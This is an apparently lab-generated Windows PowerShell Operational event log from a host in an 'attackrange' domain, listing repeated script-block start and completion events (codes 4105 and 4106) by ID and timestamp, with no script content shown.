User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022862
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022861
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022860
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022859
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022858
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022857
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022856
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022855
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022874
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022873
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022872
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022871
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022870
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022869
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022868
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022867
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022866
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022865
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022884
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022883
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022882
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022881
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022880
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022879
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022878
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022877
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022876
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022875
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022894
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022893
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022892
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022891
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022890
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022889
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022888
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022887
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022886
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022885
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022904
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022903
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022902
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022901
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022900
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022899
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022898
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022897
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022896
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:51:56 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022895
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022914
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022913
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022912
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022911
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022910
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022909
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:52:00 PM
